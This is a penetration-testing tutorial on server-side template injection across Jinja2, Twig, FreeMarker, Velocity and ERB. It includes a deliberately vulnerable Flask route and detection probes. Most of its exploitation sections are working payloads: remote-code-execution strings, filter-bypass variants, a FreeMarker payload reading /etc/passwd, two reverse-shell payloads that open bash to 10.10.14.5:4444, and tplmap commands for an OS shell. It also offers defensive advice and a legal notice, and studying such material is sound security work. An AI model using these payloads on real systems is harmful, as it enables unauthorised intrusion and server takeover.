Ethical Hacking #ssti#template-injection#jinja2

SSTI: Server-Side Template Injection Attack Guide

Learn to detect and exploit SSTI in Jinja2, Twig, and FreeMarker. Includes payload examples, detection methods, and escalation to remote code execution.

7 min read

Server-Side Template Injection (SSTI): Detection and Exploitation

Server-Side Template Injection (SSTI) occurs when user input is embedded directly into a template that is then rendered server-side, allowing attackers to inject template syntax that the engine evaluates. Depending on the template engine and configuration, SSTI can escalate from information disclosure all the way to Remote Code Execution (RCE) — making it one of the most critical web vulnerabilities you can find during a penetration test.

Legal notice: Only test for SSTI against applications you own or have explicit written permission to assess.

How SSTI Happens

A vulnerable application might look like this in Python (Flask/Jinja2):

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/greet")
def greet():
    name = request.args.get("name", "World")
    # VULNERABLE: user input directly inside template string
    template = f"<h1>Hello, {name}!</h1>"
    return render_template_string(template)

The developer intended name to be a plain string, but render_template_string() processes it as a Jinja2 template. An attacker providing {{7*7}} gets back <h1>Hello, 49!</h1> — the expression was evaluated.

The safe fix: pass user data as a context variable, never embed it directly in the template string:

return render_template_string("<h1>Hello, {{ name }}!</h1>", name=name)

Detection: Probing for Template Syntax

Step 1: Identify Reflection Points

Look for any input that appears reflected in the response: URL parameters, form fields, HTTP headers, search boxes, profile fields, error messages, and cookie values.

Step 2: Send Probe Payloads

The classic detection payload:

{{7*7}}         → Should return 49 (Jinja2, Twig)
${7*7}          → Should return 49 (FreeMarker, Velocity)
#{7*7}          → Should return 49 (Thymeleaf)
<%= 7*7 %>      → Should return 49 (ERB/Ruby)

A more distinctive probe that differentiates engines:

{{7*'7'}}
  • Jinja2 returns 7777777 (string multiplication)
  • Twig returns 49 (numeric coercion)
  • No output change — likely not a template engine, or sanitized

Decision Tree

Does {{7*7}} return 49?
├─ YES → Is {{7*'7'}} = 7777777? → Jinja2 (Python)
│        Is {{7*'7'}} = 49?      → Twig (PHP)
└─ NO  → Does ${7*7} return 49? → FreeMarker / Velocity (Java)
          Does <%= 7*7 %> work?  → ERB (Ruby)

Jinja2 Exploitation (Python/Flask/Django)

Jinja2 runs on Python, which means SSTI can reach Python’s object hierarchy.

Read Files (Information Disclosure)

{{ ''.__class__.__mro__[1].__subclasses__() }}

This dumps all Python subclasses available in memory. From here, find subprocess.Popen or os._wrap_close to execute commands.

Remote Code Execution

The most reliable Jinja2 RCE payload using __import__:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Alternative via config object in Flask:

{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

Full reverse shell via Jinja2:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen(
    'bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"'
).read() }}

URL-encode the payload when sending via GET parameter:

curl "http://target.com/greet?name=%7B%7B%20self.__init__.__globals__.__builtins__.__import__(%27os%27).popen(%27id%27).read()%20%7D%7D"

Bypassing Filters

Applications may filter __class__, __mro__, or brackets. Common bypasses:

# Using request object in Flask context
{{ request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() }}

# Attribute access with getattr workaround
{{ ()|attr('__class__')|attr('__base__')|attr('__subclasses__')() }}

# Hex-encoded attribute names
{{ ''['\x5f\x5fclass\x5f\x5f'] }}

Twig Exploitation (PHP)

Twig is used in PHP frameworks like Symfony and Drupal.

Basic Probe

{{7*7}}          → 49
{{dump(app)}}    → dumps application object

Code Execution in Twig

{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

Or using system():

{{ ['id'] | filter('system') }}

For a reverse shell:

{{ ['bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"'] | filter('passthru') }}

FreeMarker Exploitation (Java)

FreeMarker is common in Java web applications (Apache Struts, Spring).

Basic Detection

${7*7}          → 49
${"freemarker.template.utility.Execute"?new()("id")}

Remote Code Execution

<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
${ex("cat /etc/passwd")}

FreeMarker RCE is particularly impactful because Java applications often run with elevated service account privileges.

Velocity Exploitation (Java)

Apache Velocity is used in legacy Java web applications:

#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()
#set($out=$ex.getInputStream())
...

ERB Exploitation (Ruby on Rails)

<%= 7*7 %>          → 49
<%= `id` %>         → command execution via backtick operator
<%= system("id") %> → alternative

Using tplmap for Automated Detection

tplmap is a Burp Suite-style tool for automated SSTI detection and exploitation:

git clone https://github.com/epinna/tplmap.git
cd tplmap
pip install -r requirements.txt

# Detect and auto-exploit
python3 tplmap.py -u "http://target.com/page?name=*"

# Get a shell
python3 tplmap.py -u "http://target.com/page?name=*" --os-shell

The * marks the injection point.

SSTI in Burp Suite

  1. Send the request containing the reflection point to Repeater
  2. Replace the reflected parameter value with {{7*7}}
  3. Check the response for 49
  4. Use Intruder with a wordlist of polyglot probes to test multiple parameters at once

A useful polyglot that tests multiple engines simultaneously:

${{<%[%'"}}%\

If the server throws a template-engine-specific error message, the engine is identified even without a successful evaluation.

Impact and CVSS Scoring

SSTI to RCE is typically rated Critical (CVSS 9.8+) because:

  • Arbitrary code runs with the web server’s OS privileges
  • File system access allows reading sensitive configs, keys, and credentials
  • Can lead to full server compromise and lateral movement

Defensive Recommendations

DefenseDescription
Never render user input as template codePass data as context variables only
Sandbox template enginesUse Jinja2’s SandboxedEnvironment
Input validationReject characters like {, }, $, <, % where not needed
WAF rulesBlock common SSTI probe patterns
Least privilegeRun web servers as low-privilege users

Summary

SSTI is a high-impact vulnerability that arises from a simple programming mistake: treating user data as code. The detection workflow — probe with math expressions, identify the engine, escalate through the object hierarchy — is straightforward once you understand the underlying mechanics. Jinja2, Twig, FreeMarker, and Velocity each have distinct payloads, but the core concept is the same: escape the data context and enter the execution context.

#rce #web-security #jinja2 #template-injection #ssti